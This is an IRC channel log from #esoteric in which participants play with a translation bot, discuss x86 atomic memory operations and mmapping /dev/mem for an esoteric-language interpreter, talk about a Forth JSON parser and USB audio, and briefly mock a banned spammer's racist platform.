:#esoteric < 1267948815 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Como como como como como como como como. < 1267948817 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :How how how how how how how how. < 1267948832 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Como nada nada como nada como como nada nada como como nada como nada nada como. < 1267948835 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :As nothing like nothing like nothing like nothing like nothing like nothing like nothing like anything. < 1267948981 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto en es Whence do I insist that thou beest? < 1267948983 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :żDe dónde puedo insistir en que beest tú? < 1267949060 0 :Chazz!unknown@unknown.invalid PRIVMSG #esoteric :o.O < 1267949083 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate The quick brown fox jumpeth over the lazy dog. < 1267949086 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :var sl_select, tl_select, web_sl_select, web_tl_select;var ctr, web_ctr, h;var tld = ".com";var sug_lab = "";var sug_thk = "";var sug_exp = "";var dhead = "Dictionary";var dmore = "View detailed dictionary";var tr_in = "Translating...";var isurl = "";var show_roman = "Show romanization";var hide_roman = < 1267949095 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto en es The quick brown fox jumpeth over the lazy dog. < 1267949097 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :El rápido jumpeth el saxofón detrás del palenque de paja. < 1267949186 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto en es The large round potato jumpeth over the square ruse. < 1267949188 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :La gran jumpeth patata redonda sobre el ardid cuadrados. < 1267949220 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto en es In computer science, the term type punning referreth to a programming technique that subverteth or circumventeth the type system of a programming language. < 1267949222 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :En informática, el término tipo referreth juegos de palabras a una técnica de programación que subverteth o circumventeth el sistema de tipo de un lenguaje de programación. < 1267949435 0 :Chazz!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267950707 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :what what < 1267950732 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :oh mexicans < 1267950800 0 :ChanServ!unknown@unknown.invalid MODE #esoteric :+o lament < 1267950805 0 :lament!unknown@unknown.invalid MODE #esoteric :+b *!*@*.cable.dyn.cableonline.com.mx < 1267950809 0 :lament!unknown@unknown.invalid MODE #esoteric :-o lament < 1267950847 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :it's strange that one of his nicks was khazar < 1267950964 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION shrugs
< 1267950968 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :crazy people < 1267951025 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :also his platform is silly < 1267951043 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :"we're not white supremacists, just negro inferiorists" < 1267951053 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well its true < 1267951057 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :if hes mexican, hes not white < 1267951063 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :well sure < 1267951068 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but he still hates black people < 1267951073 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :but it seems like it would be hard to find support < 1267951080 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :since if someone hates blacks, he's probably racist < 1267951081 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :inside the US maybe :p < 1267951088 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :and so hates other races too < 1267951094 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :lots of people outside the US are overtly racist < 1267951096 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh yes, this is true < 1267952059 0 :amca!~amca@CPE-121-208-82-97.cqzr1.cha.bigpond.net.au JOIN :#esoteric < 1267952827 0 :tombom!~tombom@wikipedia/Tombomp JOIN :#esoteric < 1267953884 0 :adam_d!~Adam@cpc2-acto6-0-0-cust48.brnt.cable.ntl.com JOIN :#esoteric < 1267954897 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1267955493 0 :Leonidas!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267955496 0 :Leonidas!~Leonidas@unaffiliated/leonidas JOIN :#esoteric < 1267955833 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1267957307 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1267957520 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1267960299 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1267960463 0 :amca!unknown@unknown.invalid QUIT :Quit: Farewell < 1267961402 0 :sebbu2!~sebbu@ADijon-152-1-50-117.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1267961558 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1267961724 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :does anyone know if it is possible on 32-bit x86, to atomically write or read a 64-bit integer from memory? < 1267961735 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :without mutexes or such I mean < 1267961774 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :you do have cmpxchg8b < 1267961789 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :and maybe lock prefixes work for 8-byte accesses < 1267961794 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, yes, but that doesn't help for plain read or write < 1267961797 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :afaik < 1267961813 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, what if you want to read without changing the value, but want to do so atomically < 1267961909 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, for the use case I consider, any sort of mutexes or such just have way too much overhead < 1267961956 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and collisions are extremely likely. < 1267962145 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, the use case is async threaded funge. And specifically it's funge space. Assuming we have (part of it) implemented as a static non-sparse array, and the rest of it as a tree structure or hash table, then it should be possible I think to only require locking for the the non-static part < 1267962166 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and since most programs operate around origo, this should help quite a bit < 1267962176 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the issue is how to handle 64-bit funge on 32-bit systems < 1267962208 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :looks like you need cmpxchg8b - if you just use the same value for the comparison and the exchange, you'll get the current value read back into edx:eax ... not sure how to do writing easily though (except spinning until you get two consecutive exchanges in between another writer) < 1267962219 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267962225 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :*lock cmpxchg8b, that is < 1267962244 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sounds somewhat messy but okay < 1267962262 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I guess atomically writing or reading the native word size on both x86 and x86_64 should be trivial? < 1267962291 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :iirc, simple memory transfers in the native word size are always atomic < 1267962328 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :which could mean that 64-bit access in 32-bit mode *on 64-bit hardware* is also atomic < 1267962336 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, how backwards < 1267962348 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but what about the actual MMU and system bus and so on < 1267962359 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :isn't there a possibility of that causing a mess there? < 1267962388 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, and can you do 32-bit atomic reads, writes and CAS on x86_64 in 64-bit mode? < 1267962413 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is, without causing it to operate on 32 extra bits you don't want to touch < 1267962433 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :it does get messy in the rest of the system, but there are synchronization protocols for that, like making sure that only one cpu "owns" memory for write access at any time < 1267962456 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, you mean cache coherency and such? < 1267962464 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :yes, exactly... it also gets extra messy with NUMA, if you want to do atomic stuff to another cpu:s memory < 1267962479 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, I don't own a numa system, so I can't test < 1267962490 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh btw, is L1 data cache coherrent? < 1267962517 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :iirc I read somewhere there are some restrictions on L1 instruction cache, but I have no idea about L1 data cache < 1267962534 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :iirc, recent AMD multi-core systems are all numa, they split up the memory between the cpu:s < 1267962619 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, I have a 64-bit sempron that is not SMP or multicore, plus a core2duo system < 1267962631 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so only the latter allows me to test this < 1267962678 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, btw, do you happen to know any sort of concurrent-access hash table or balanced tree thingy? < 1267962686 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :RCU seems to have a high update overhead < 1267962716 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :testing doesn't prove the absence of bugs though... what you want to do is get to the bottom of which guarantees you actually have according to the x86 specs :) < 1267962731 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :multiple readers, and preferably "multiple writers-in-different-parts" should be supported < 1267962765 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, of course. But testing is required to see that I didn't mess up something < 1267962804 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also implementing this won't happen straight away. Consider the current stage early investigation of what possibilities I have for it < 1267962823 0 :MigoMipo!~migomipo@84-217-11-138.tn.glocalnet.net JOIN :#esoteric < 1267962897 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, also how does out of order execution affect this sort of things < 1267962908 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hrrm < 1267962927 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well that shouldn't be a problem unless it splits up a single read or write < 1267963010 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and the LOCK prefix seems to force a memory barrier according to AMD docs at least < 1267963047 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :some care will be required, to say the least < 1267963105 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, of course < 1267963126 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :not sure if any of it will cause problems, but you best prove that it won't :P < 1267963167 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, also I suspect that 64-bit cells would be faster than 32-bit cells, due to less data being in each cache line -> less chance of two threads fighting over same cache line < 1267963225 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for "normal" funge 64-bit cells are somewhat slower than 32-bit cells, on x86_64. Most likely for the same (or rather, opposite) reason < 1267963239 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/for the same/due to the same/ < 1267963564 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, it seems LOCK XCHG can be used for stores < 1267963609 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I guess to optimise this, the funge *implementation* should self modify to only use it in case of multiple threads < 1267963618 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1267963626 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :does xchg work for 64-bit words though? < 1267963682 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm good point *opens another pdf* < 1267963739 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, there is an 64-bit form < 1267963749 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and there is nothing saying that LOCK prefix doesn't work for it < 1267963756 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is on x86-64 though < 1267963764 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not sure about 64-bit on 32-bit < 1267963888 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1267963946 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, what I can't figure out is if lock xchg is required if you don't care about the data being visible right way < 1267963976 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :specifically, what if you do a normal write, then another cpu does a normal write to the same cache line, but not to the same specific address < 1267964001 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :will the first write get lost if it wasn't flushed to main memory yet < 1267964013 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I suppose it shouldn't... < 1267964163 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I just went and wrote a JSON parser in Forth, because I could not think of anything more sensible. I'm classifying this as your fault too. < 1267964168 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :I think it's set up so that it won't be cached in more than one place if anyone writes < 1267964230 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1267964414 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, ? < 1267964446 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, now write a FORTH-to-JSON serialiser and deserialiser < 1267964457 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alternatively, use xml instead of json < 1267964459 0 :MissPiggy!~none@unaffiliated/fax JOIN :#esoteric < 1267964470 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in both cases the result is something that should never have existed < 1267964494 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, hm < 1267964581 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I wonder what mmap()ing /dev/mem does < 1267964590 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't dare test that though < 1267964640 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :mmap:ing /dev/mem sounds like a sensible way to use it < 1267964651 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :har < 1267964656 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :address space is usually larger than the amount of physical memory anyway < 1267964658 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, it is a char device, not a block device < 1267964674 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which makes me think it can't be used that way < 1267964693 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Forth is a bit too low-level for "sensible" serialization to any structured format. There's cells, floating-point values and blocks of memory; that's about it. (And of course no run-time type information anywhere.) I could of course serialize some custom-defined structures into JSON, but... < 1267964716 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, well, write a FORTH interpreter that reads the program fro ma JSON format then! < 1267964728 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :from a* < 1267964840 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :What I have now parses JSON into (type, data) pairs, where the types map mostly to JSON types (bool, int, float, string, array, object) and data is two cells (the value 0 or -1 for bool, a signed-integer cell for int, a float for a float, a pointer-length pair for a string, a pointer-length pair for an array and a pointer to unbalanced binary tree "string => json-value" map for an object). < 1267964882 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I didn't know Forth had pairs < 1267964886 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: the man page for mem links to mmap :) < 1267964900 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, mem(4)? < 1267964901 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not here < 1267964915 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It's not a native pair, of course; just a memory block the size of three cells. < 1267964920 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :SEE ALSO < 1267964921 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : chown(1), mknod(1), ioperm(2) < 1267964922 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is all < 1267964933 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :hmm, probably got a different manpage that, it was mem(7D) < 1267964943 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, I don't have mem(7D) < 1267964951 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't even have 7D at all < 1267964981 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, what weird OS is it? < 1267964989 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :SunOS at least has a 7D section. < 1267964991 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(For devices.) < 1267964997 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :when googling, the only 7D I can find is indeed SunOS < 1267965001 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :I googled, so that wasn't even linux < 1267965004 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267965021 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :but it'd be screwed up not to be able to mmap it :) < 1267965039 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, you could use normal fseek and such on it < 1267965057 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :yeah, but how irksome < 1267965125 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :You can mmap /dev/mem, according to kernel sources: < 1267965127 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : * capabilities for /dev/mem, /dev/kmem and similar directly mappable character < 1267965127 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : * devices < 1267965127 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : * - permits shared-mmap for read, write and/or exec < 1267965127 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : * - does not permit private mmap in NOMMU mode (can't do COW) < 1267965127 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : * - no readahead or I/O queue unplugging required < 1267965160 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1267965176 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what file is that from? < 1267965185 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :fs/char_dev.c < 1267965191 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also mmaping a char device seems just backwards to me < 1267965207 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and well, I have no clue what the heck readahead would *mean* on /dev/mem < 1267965266 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, also, iirc /dev/mem is restricted these days to only allow BIOS and PCI space or such (needed for X) < 1267965276 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, it's a kernel option < 1267965285 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pretty sure I have it turned on < 1267965291 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I seem to remember reading a description like that. < 1267965304 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and I don't even have a /dev/kmem < 1267965308 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for some unknown reason < 1267965332 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :further, I wonder what grepping /dev/mem would do < 1267965339 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't want to actually try that either < 1267965369 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :man mem says "Examining and patching is likely to lead to unexpected results when read-only or write-only bits are present." < 1267965394 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which I guess refers to the page flags < 1267965438 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"CONFIG_STRICT_DEVMEM: -- If this option is switched on, the /dev/mem file only allows userspace access to PCI space and the BIOS code and data regions. This is sufficient for dosemu and X and all common users of /dev/mem. If in doubt, say Y." < 1267965528 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, and I presume /dev/kmem can be turned off elsewhere? < 1267965606 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Possibly. Or it might be that it's just not generated by default nowadays and you have to manually make the device node if you want it. I'm not sure I want to start source-diving for it. < 1267965647 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, my laptop which is on an older kernel has /dev/kmem < 1267965654 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but then it is also on a distro generic kernel < 1267965658 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :unlike my desktop < 1267965717 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I don't seem to have /dev/kmem either on this desktop. < 1267965786 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, strange, om my laptop I also have /dev/oldmem < 1267965797 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :$ ls -l /dev/*mem < 1267965797 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :crw-r----- 1 root kmem 1, 2 2009-07-25 23:32 /dev/kmem < 1267965797 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :crw-r----- 1 root kmem 1, 1 2010-03-05 11:17 /dev/mem < 1267965798 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :crw-rw---- 1 root root 1, 12 2010-03-05 11:17 /dev/oldmem < 1267965810 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :whatever that is < 1267965878 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :grepping sources on there turns up just one hit < 1267965881 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :./include/linux/crash_dump.h:extern ssize_t copy_oldmem_page(unsigned long, char *, size_t, < 1267965885 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and that doesn't seem relevant < 1267965894 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh wait that is just headers < 1267965895 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not sources < 1267965940 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267965942 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :#ifdef CONFIG_CRASH_DUMP < 1267965942 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : [12] = { "oldmem", 0, &oldmem_fops, NULL }, < 1267965942 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :#endif < 1267965949 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :from drivers/char/mem.c < 1267966029 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :There seems to be a CONFIG_DEVKMEM flag, I just didn't notice it in the configura-a-tron. < 1267966046 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, "configura-a-tron"? < 1267966056 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :make menuconfig, or such. < 1267966061 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I meant the spelling < 1267966063 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not the meaning < 1267966073 0 :oklokok!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267966073 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"Say Y here if you want to support the /dev/kmem device. The /dev/kmem device is rarely used, but can be used for certain kind of kernel debugging operations. When in doubt, say "N"." < 1267966088 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's just random irregular spellamatics. < 1267966096 0 :oklokok!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267966111 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I meant the a at the end of the first word should be an e < 1267966238 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Not if it's from the word "configurator". < 1267966250 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"Welcome to the prerelease of Adobe® Configurator. Configurator is an open source utility that enables the easy creation of panels (palettes) for use in ..." < 1267966253 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :See, a real word. < 1267966291 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267966400 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I can't find any other JSON libraries for Forth by googling (at least on the first three pages of results). I may have found an untapped market here. < 1267966512 0 :tombom!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1267966553 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, so publish the thing XD < 1267966579 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, now you need to write an XML DOM thingy with xpath support for Forth too! < 1267966595 0 :tombom!~tombom@wikipedia/Tombomp JOIN :#esoteric < 1267966747 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1267966953 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, is there any way to list kexec loaded kernels btw? < 1267967144 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :[85909.348091] sdhci-pci 0000:15:00.2: Will use DMA mode even though HW doesn't fully claim to support it. < 1267967148 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :how reassuring! < 1267967152 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, ^ < 1267967272 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I have about three zillion lines of < 1267967274 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :ehci_hcd 0000:00:12.2: force halt; handhake ffffc90000072024 0000c000 00000000 -> -110 < 1267967277 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :in my dmesg buffer. < 1267967288 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure I want to know what "handhake" is. < 1267967293 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, something strange with usb 2.0 it sounds like < 1267967575 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, look for what usb device might cause it < 1267967584 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lsusb and look for "0000:00:12.2" perhaps < 1267967603 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, it would be split up there < 1267967613 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's no longer connected; based on timestamps I think that was around when I used that USB sound stick thing. < 1267967628 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sound stick? < 1267967647 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It sounds stupid to call it a "sound card" when it doesn't resemble a card at all. < 1267967667 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :aah < 1267967673 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :did it work well? < 1267967693 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, no problems there. < 1267967746 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267967755 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :http://www.terratec.net/en/products/Aureon_Dual_USB_9842.html -- got that in order to get optical s/pdif out of the iBook back when I was using it as a TV box. < 1267967860 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267967903 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what exactly is wrong with normal copper for audio? < 1267967943 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wow, they explicitly support linux < 1267967945 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that's unusual < 1267968058 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1267968096 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Well, nothing wrong with coaxial s/pdif either, but the iBook only has one 3.5mm headphone plug, no other audio outputs at all. < 1267968129 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :nothing wrong with 3.5mm headphone plugs < 1267968149 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :And for some reason or another, the output from that was pretty noisy when connected to the amplifier; whereas with digital output there's of course no noise to speak of. < 1267968222 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, why s/pdif? < 1267968234 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267968236 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1267968247 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :a good 3.5mm plug should be just as good < 1267968253 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of course, a noisy one is rather strange < 1267968333 0 :uorygl!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267968348 0 :uorygl!~Warrigal@rrcs-70-63-156-144.midsouth.biz.rr.com JOIN :#esoteric < 1267968358 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I don't know about that; at least with digital connections you get the d/a conversion done at the amplifier, which is a bit more audibly oriented device than a regular PC box. (I'm sure that the outputs from a real sound card would be a different thing.) < 1267968481 0 